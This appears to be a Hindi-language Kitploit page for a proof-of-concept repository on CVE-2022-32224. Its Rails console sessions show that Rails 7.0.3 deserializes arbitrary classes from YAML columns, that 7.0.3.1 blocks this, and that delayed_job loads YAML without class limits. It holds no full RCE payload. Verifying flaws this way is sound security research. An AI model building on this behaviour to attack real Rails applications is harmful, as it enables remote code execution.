Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2022-32224-rails — CVE-2022-32224 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: Rails ActiveRecord सीरियलाइज़्ड कॉलम RCE। Rails 7.0.3 में YAML डिसीरियलाइज़ेशन द्वारा मनमानी क्लास इंस्टेंटिएशन प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/ooooooo-q/cve-2022-32224-rails
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षालैब और अभ्यास
GitHubooooooo-q/cve-2022-32224-rails

cve-2022-32224-rails

CVE-2022-32224 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: Rails ActiveRecord सीरियलाइज़्ड कॉलम RCE। Rails 7.0.3 में YAML डिसीरियलाइज़ेशन द्वारा मनमानी क्लास इंस्टेंटिएशन प्रदर्शित करता है।

रिपॉजिटरी देखें
2114 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-3222 ActiveRecord सीरियलाइज़ेशन सत्यापन

  • https://discuss.rubyonrails.org/t/cve-2022-32224-possible-rce-escalation-bug-with-serialized-columns-in-active-record/81017
  • https://api.rubyonrails.org/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html
  • https://github.com/rails/rails/pull/45584

तैयारी

root@kitploit:~
bundle install

bin/rails db:migrate

मॉडल

root@kitploit:~
bin/rails generate model User values:string
root@kitploit:~
class User < ApplicationRecord
  serialize :values, Array
end

कार्य सत्यापन

ऐरे को सीरियलाइज़ करके सहेजें

root@kitploit:~
❯ bundle exec rails c
Loading development environment (Rails 7.0.3.1)
irb(main):001:0> User.create(values: [16 * 16, "ffff"])
   (0.6ms)  SELECT sqlite_version(*)
  TRANSACTION (0.0ms)  begin transaction
  User Create (0.6ms)  INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?)  [["values", "---\n- 256\n- ffff\n"], ["created_at", "2022-07-17 07:46:18.593587"], ["updated_at", "2022-07-17 07:46:18.593587"]]
  TRANSACTION (0.4ms)  commit transaction
=>
#<User:0x0000000105ee1a78
 id: 3,
 values: [256, "ffff"],
 created_at: Sun, 17 Jul 2022 07:46:18.593587000 UTC +00:00,
 updated_at: Sun, 17 Jul 2022 07:46:18.593587000 UTC +00:00>

irb(main):002:0> User.last.values
  User Load (0.5ms)  SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ?  [["LIMIT", 1]]
=> [256, "ffff"]

class_name_or_coder के रूप में Array निर्दिष्ट किया गया है, इसलिए स्ट्रिंग को सीधे पास नहीं किया जा सकता

root@kitploit:~
irb(main):001:0> User.create(values: 'aaa')
   (0.6ms)  SELECT sqlite_version(*)
.../activerecord-7.0.3.1/lib/active_record/coders/yaml_column.rb:36:in `assert_valid_value': can't serialize `values`: was supposed to be a Array, but was a String. -- "aaa" (ActiveRecord::SerializationTypeMismatch)

अपडेट

root@kitploit:~
irb(main):001:0> user = User.create!(values: ["aaa"])
   (0.6ms)  SELECT sqlite_version(*)
  TRANSACTION (0.0ms)  begin transaction
  User Create (0.4ms)  INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?)  [["values", "---\n- aaa\n"], ["created_at", "2022-07-17 11:50:58.515968"], ["updated_at", "2022-07-17 11:50:58.515968"]]
  TRANSACTION (0.4ms)  commit transaction
=>
#<User:0x00000001057b65a0
...
irb(main):002:0> user.update_column(:values, ["aaaa"])
  User Update (0.9ms)  UPDATE "users" SET "values" = ? WHERE "users"."id" = ?  [["values", "---\n- aaaa\n"], ["id", 8]]
=> true
irb(main):003:0> user.update_attribute(:values, ["fffff"])
  TRANSACTION (0.1ms)  begin transaction
  User Update (0.5ms)  UPDATE "users" SET "values" = ?, "updated_at" = ? WHERE "users"."id" = ?  [["values", "---\n- fffff\n"], ["updated_at", "2022-07-17 11:52:01.795259"], ["id", 8]]
  TRANSACTION (1.0ms)  commit transaction
=> true
irb(main):004:0> user.update(values: ["aaaddd"])
  TRANSACTION (0.1ms)  begin transaction
  User Update (0.7ms)  UPDATE "users" SET "values" = ?, "updated_at" = ? WHERE "users"."id" = ?  [["values", "---\n- aaaddd\n"], ["updated_at", "2022-07-17 11:52:25.306288"], ["id", 8]]
  TRANSACTION (1.1ms)  commit transaction
=> true

" और ', न्यूलाइन वाले स्ट्रिंग का सीरियलाइज़ेशन और डी-सीरियलाइज़ेशन

root@kitploit:~
irb(main):001:0> User.create(values: ["'", '"', {'"' => [{"aaa" => "aa\na\r"}]}])
   (0.6ms)  SELECT sqlite_version(*)
  TRANSACTION (0.0ms)  begin transaction
  User Create (0.7ms)  INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?)  [["values", "---\n- \"'\"\n- \"\\\"\"\n- \"\\\"\":\n  - aaa: \"aa\\na\\r\"\n"], ["created_at", "2022-07-17 07:50:43.091916"], ["updated_at", "2022-07-17 07:50:43.091916"]]
  TRANSACTION (0.4ms)  commit transaction
=>
#<User:0x000000010dfb3cc8
 id: 4,
 values: ["'", "\"", {"\""=>[{"aaa"=>"aa\na\r"}]}],
 created_at: Sun, 17 Jul 2022 07:50:43.091916000 UTC +00:00,
 updated_at: Sun, 17 Jul 2022 07:50:43.091916000 UTC +00:00>

irb(main):002:0> User.last.values
  User Load (0.4ms)  SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ?  [["LIMIT", 1]]
=> ["'", "\"", {"\""=>[{"aaa"=>"aa\na\r"}]}]

किसी भी क्लास का पुनर्स्थापन

7.0.3 में किसी भी क्लास को सीरियलाइज़ करके सहेजा जा सकता है और लोड करते समय डी-सीरियलाइज़ किया जा सकता है

root@kitploit:~
❯ bundle exec rails c
Loading development environment (Rails 7.0.3)
irb(main):001:0> gemspec = Gem::Specification.new("test")
=>
Gem::Specification.new do |s|
...
irb(main):002:0>
irb(main):003:0> user = User.create!(values: [gemspec])
   (0.5ms)  SELECT sqlite_version(*)
  TRANSACTION (0.1ms)  begin transaction
  User Create (0.4ms)  INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?)  [["values", "---\n- !ruby/object:Gem::Specification\n  name: test\n  version:\n  platform: ruby\n  authors: []\n  autorequire:\n  bindir: bin\n  cert_chain: []\n  date: 2022-07-17 00:00:00.000000000 Z\n  dependencies: []\n  description:\n  email:\n  executables: []\n  extensions: []\n  extra_rdoc_files: []\n  files: []\n  homepage:\n  licenses: []\n  metadata: {}\n  post_install_message:\n  rdoc_options: []\n  require_paths:\n  - lib\n  required_ruby_version: !ruby/object:Gem::Requirement\n    requirements:\n    - &1\n      - \">=\"\n      - !ruby/object:Gem::Version\n        version: '0'\n  required_rubygems_version: !ruby/object:Gem::Requirement\n    requirements:\n    - *1\n  requirements: []\n  rubygems_version: 3.3.7\n  signing_key:\n  specification_version: 4\n  summary:\n  test_files: []\n"], ["created_at", "2022-07-17 12:08:19.272191"], ["updated_at", "2022-07-17 12:08:19.272191"]]
  TRANSACTION (0.9ms)  commit transaction
=>
#<User:0x00000001171ea3a8
...
irb(main):004:0>
irb(main):005:0> User.last.values
  User Load (0.3ms)  SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ?  [["LIMIT", 1]]
=>
[Gem::Specification.new do |s|
   s.name = "test"
   s.version = nil
   s.installed_by_version = Gem::Version.new("0")
   s.date = Time.utc(2022, 7, 17)
   s.require_paths = ["lib"]
   s.rubygems_version = "3.3.7"
   s.specification_version = 4
   s.summary = nil
   end]

7.0.3.1 में सहेजने और लोड करने दोनों में त्रुटि होती है

root@kitploit:~
❯ bundle exec rails c
Loading development environment (Rails 7.0.3.1)
irb(main):001:0> User.last.values
   (1.0ms)  SELECT sqlite_version(*)
  User Load (0.4ms)  SELECT "users".* FROM "users" ORDER BY "users"."id" DESC LIMIT ?  [["LIMIT", 1]]
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Gem::Specification (Psych::DisallowedClass)

irb(main):002:0> gemspec = Gem::Specification.new("test")
=>
Gem::Specification.new do |s|
...

irb(main):003:0> user = User.create!(values: [gemspec])
  TRANSACTION (0.1ms)  begin transaction
  TRANSACTION (0.0ms)  rollback transaction
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Gem::Specification (Psych::DisallowedClass)
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Gem::Specification (Psych::DisallowedClass)

7.0.3 में भी ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy का इंस्टेंस सहेजने का प्रयास करने पर त्रुटि होती है और यह काम नहीं करता

root@kitploit:~
.../psych/visitors/emitter.rb:32:in `scalar': wrong argument type ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy (expected String) (TypeError)

सिंबल का सहेजना

7.0.3 में सहेजा जा सकता है

root@kitploit:~
❯ bundle exec rails c
Loading development environment (Rails 7.0.3)
irb(main):001:0> User.create(values: [{a: 2}])
   (1.8ms)  SELECT sqlite_version(*)
  TRANSACTION (0.0ms)  begin transaction
  User Create (0.5ms)  INSERT INTO "users" ("values", "created_at", "updated_at") VALUES (?, ?, ?)  [["values", "---\n- :a: 2\n"], ["created_at", "2022-07-17 08:03:26.435339"], ["updated_at", "2022-07-17 08:03:26.435339"]]
  TRANSACTION (0.3ms)  commit transaction
=>
#<User:0x00000001138835d8
 id: 5,
 values: [{:a=>2}],
 created_at: Sun, 17 Jul 2022 08:03:26.435339000 UTC +00:00,
 updated_at: Sun, 17 Jul 2022 08:03:26.435339000 UTC +00:00>

7.0.3.1 में सहेजा नहीं जा सकता

root@kitploit:~
irb(main):002:0> User.create(values: [{a: 2}])
  TRANSACTION (0.1ms)  begin transaction
  TRANSACTION (0.1ms)  rollback transaction
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Symbol (Psych::DisallowedClass)
.../psych/class_loader.rb:99:in `find': Tried to load unspecified class: Symbol (Psych::DisallowedClass)

delayed_job

  • https://github.com/collectiveidea/delayed_job_active_record
root@kitploit:~
bundle install

rails g delayed_job:active_record
rake db:migrate
root@kitploit:~
class TestJob < ApplicationJob
  queue_as :default

  def perform(*arg)
    puts arg
  end
end

जॉब के आर्गुमेंट YAML के रूप में सहेजे जाते हैं, और delayed_job द्वारा जोड़े गए YAML.load_dj से YAML लोड किया जाता है https://github.com/collectiveidea/delayed_job/blob/v4.1.10/lib/delayed/psych_ext.rb#L15

root@kitploit:~
irb(main):001:0> TestJob.perform_later({a: 2})
   (0.6ms)  SELECT sqlite_version(*)
  TRANSACTION (0.0ms)  begin transaction
  Delayed::Backend::ActiveRecord::Job Create (0.8ms)  INSERT INTO "delayed_jobs" ("priority", "attempts", "handler", "last_error", "run_at", "locked_at", "failed_at", "locked_by", "queue", "created_at", "updated_at") VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)  [["priority", 0], ["attempts", 0], ["handler", "--- !ruby/object:ActiveJob::QueueAdapters::DelayedJobAdapter::JobWrapper\njob_data:\n  job_class: TestJob\n  job_id: bb5c0a70-0ee8-4435-8e1c-2fc934f90c38\n  provider_job_id:\n  queue_name: default\n  priority:\n  arguments:\n  - a: 2\n    _aj_symbol_keys:\n    - a\n  executions: 0\n  exception_executions: {}\n  locale: en\n  timezone: UTC\n  enqueued_at: '2022-08-06T05:24:25Z'\n"], ["last_error", nil], ["run_at", "2022-08-06 05:24:25.560338"], ["locked_at", nil], ["failed_at", nil], ["locked_by", nil], ["queue", "default"], ["created_at", "2022-08-06 05:24:25.560377"], ["updated_at", "2022-08-06 05:24:25.560377"]]
  TRANSACTION (0.4ms)  commit transaction

delayed_job का सीरियलाइज़ेशन ActiveRecord का नहीं है, इसलिए Rails संस्करण से प्रभावित नहीं होता और क्लास प्रतिबंधित नहीं होती

root@kitploit:~
❯ bundle exec rails c
Loading development environment (Rails 7.0.3.1)
irb(main):001:0> TestJob.perform_now("test")
Performing TestJob (Job ID: 350a9420-0609-4b82-b860-d01be744dfaa) from DelayedJob(default) enqueued at  with arguments: "test"
test
Performed TestJob (Job ID: 350a9420-0609-4b82-b860-d01be744dfaa) from DelayedJob(default) in 1.66ms
=> nil

irb(main):002:0> gemspec = Gem::Specification.new("test")

irb(main):003:0> TestJob.perform_now(gemspec)
Performing TestJob (Job ID: 35ca24aa-18e4-4477-a92f-2247621c211e) from DelayedJob(default) enqueued at  with arguments: #<Gem::Specification:...
#<Gem::Specification name=test version=>
Performed TestJob (Job ID: 35ca24aa-18e4-4477-a92f-2247621c211e) from DelayedJob(default) in 0.73ms
=> nil
irb(main):004:0>
टूल डाउनलोड करें